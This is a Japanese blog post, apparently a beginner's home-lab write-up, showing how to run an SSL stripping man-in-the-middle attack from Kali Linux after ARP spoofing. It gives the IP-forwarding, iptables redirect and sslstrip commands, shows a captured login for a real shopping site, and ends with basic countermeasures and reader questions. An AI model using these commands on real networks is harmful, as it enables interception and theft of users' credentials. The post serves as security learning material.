SSLストリップ攻撃をやってみた

Pocket

30代未経験ネットワークエンジニア@セキュリティエンジニアになるため勉強中のshinです。

今回は、Kali Linuxを使用して、SSLストリップ攻撃をやってみました。
Kali Linuxのインストール方法は以下サイトを参考にしてください。

https://doruby.jp/users/r357_on_rails/entries/Kali-Linux-2017-3

SSLストリップ攻撃とは

Moxie Marlinspike というセキュリティ研究者が 2009年の Black Hat カンファレンスで SSLストリップという呼ばれる、中間者攻撃(MITM:man-in-the-middle attack)によって SSL の機能を無効にするツールだそうです。

要するに、対象のターゲットがアクセスしているサイトのHTTPSをHTTPに変えてしまうということ。
それによって、攻撃者にはHTTPの通信が見れるため、なんでもできちゃうということですね。怖い。

それでは実際にやってみましょう。
※他人の情報を見て、サイトのログインしたりすることは、絶対にしないでください。試してみる場合は必ず自宅の環境で行ってください!

環境

・ターゲットPC(Windows)
・攻撃用PC(Kali Linux)
・ルータ

構成

今回の構成は次のような構成になります。

攻撃者PC IPアドレス:192.168.89.169
MACアドレス:00:0c:29:b4:30:60

ターゲットPC IPアドレス:192.168.89.157

ルータ IPアドレス:192.168.89.2
MACアドレス:00:50:56:e0:94:64

今回の目的

今回の目的は、ターゲットPCのWEBアクセスをHTTPの通信を盗み見ることと、その対策法の確認です

SSLストリップ攻撃方法

前提条件として、ターゲットのPCに対してARPスプーフィングをしておく必要がありますので、もしやり方がわからない場合は、以下の記事を参考にしてください。

前提条件

ARPスプーフィングをやってみた

ARPスプーフィングが完了したら、攻撃者用PC(Kali Linux)から以下の操作を行います。

手順
  1. 左のショーカットから「端末」を選択
  2. IPフォワーディングを有効にするため、コマンドを入力
    echo “1” > /proc/sys/net/ipv4/ip_forward
  3. SSLストリップ攻撃を有効にするためにIPテーブルを書き換える
    iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080
  4. ストリップ攻撃を実行します
    sslstrip -f -a -k -l 8080 -w /root/sslstrip.txt
    ※rootフォルダの直下に、sslstrip.txtファイルのログできます。各種オプションの意味は以下になります。
    Options:
    -w <filename>, –write=<filename> Specify file to log to (optional).
    -p , –post Log only SSL POSTs. (default)
    -s , –ssl Log all SSL traffic to and from server.
    -a , –all Log all SSL and HTTP traffic to and from server.
    -l <port>, –listen=<port> Port to listen on (default 10000).
    -f , –favicon Substitute a lock favicon on secure requests.
    -k , –killsessions Kill sessions in progress.
    -h Print this help message.

これでターゲットPCに対して、SSLストリップ攻撃を仕掛けることが出来ました。

SSLストリップ攻撃を受けるとどうなるのか

SSLストリップ攻撃を受けると、WEBサイトへアクセスしたときに、HTTPS通信ではなく、HTTPで通信するようになってしまいます。

HTTP通信するようになると何が問題か

もしHTTP通信しているWEBサイトで、ユーザID/PWを入力した場合、攻撃者にその情報が漏れてしまいます。
それでは、実際にSSLストリップ攻撃でどのようなことが起こるのか見ていきます。

実際にHTTP通信でID/PWを入力してみる

手順

  1. ターゲットPCでIEから「yahoo」を開き>「楽天」を検索
  2. 楽天の画面でログインを選択し、ユーザID/PWを入力

実際の手順は動画を参照ください。

Kali Linuxのログを確認してみると、先ほど入力したユーザID/PWが見事に表示されています!
次に対策方法について書いていきます。

どうやってSSLストリップ攻撃を対策するのか

今回の攻撃を実行していて気付いたことは、HTTP通信の場合、HTTPS通信と違って、URLバーに「鍵マーク」がないということに気が付きました。
※各ブラウザのHTTPS通信のマークは以下になってます
・Internet Explorer → 鍵マーク
・Fire FOX → 鍵マーク
・Google Chome → 鍵マーク+保護された通信
そのため、ユーザID/PWを入力する画面では、URLバーに「鍵マーク」となっているか確認したほうがいいかもしれませんね。でも気付ける自信がないかも。。

●通常時

●SSLストリップ攻撃時

もう一つ検証していて気付いたことは、「Google chome」ブラウザだと、同じ手順でやった場合でも、結果がすべてHTTPSになっていました。
※FireFOXだとIEと同じ結果でした。ブラウザの仕様でしょうか。
そのため、「Google chome」を使うことで回避可能ということがわかりましたので、一番の対策は、google chomeを使うのがいいんじゃないかなというのが結論です。
※サイトによっても、HTTPになるサイトとならないサイトがあるようです。
サイト側で対策(HSTS: HTTP Strict Transport Security)しているかと
思われます。

あとは、普段ショートカットを使用している場合は、ショートカットのURLがHTTPSになっていることを確認することですね。

まとめ

  • SSLストップ攻撃とは、HTTPSで通信するべきものをHTTP通信にしてしまう
  • HTTP通信で何らかのログインID/PWを入力すると攻撃者に情報が盗まれてしまう
  • 対策するには以下2つのどれかを実施
  1. URLバーに「鍵マーク」があることを確認する
  2. GoogleChomeを使用する以上です。ありがとうございました。

参考本

Pocket

「SSLストリップ攻撃をやってみた」への3件のフィードバック

  1. いつも本ブログで勉強させて頂いているものです
    いつもありがとうございます。

    >Kali Linuxのログを確認してみると、先ほど入力したユーザID/PWが見事に表示されています!
    とありますが、具体的にどこのログを確認しているのでしょうか?

    /root/sslstrip.txtをlessで開いて[Shift + F]を押した状態で、
    ターゲットPC上で楽天のログイン画面でログインしましたが、
    /root/sslstrip.txtに変化がないため、/root/sslstrip.txtにログが出力されるわけではない認識です。

    お手数ですが、ご教授いただければと存じます。

      1. ご回答いただきありがとうございます。

        自分も再度確認したところ、確かに/root/sslstrip.txtに出力されているように見えました。

        しかし、内容が暗号化されているのか、自分が入力したID/PWが確認できなかったのですが、
        既に本手順だけでは自分が入力したID/PWを確認することはできないのでしょうか?

        大変お手数ですが、ご回答いただければと存じます。

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です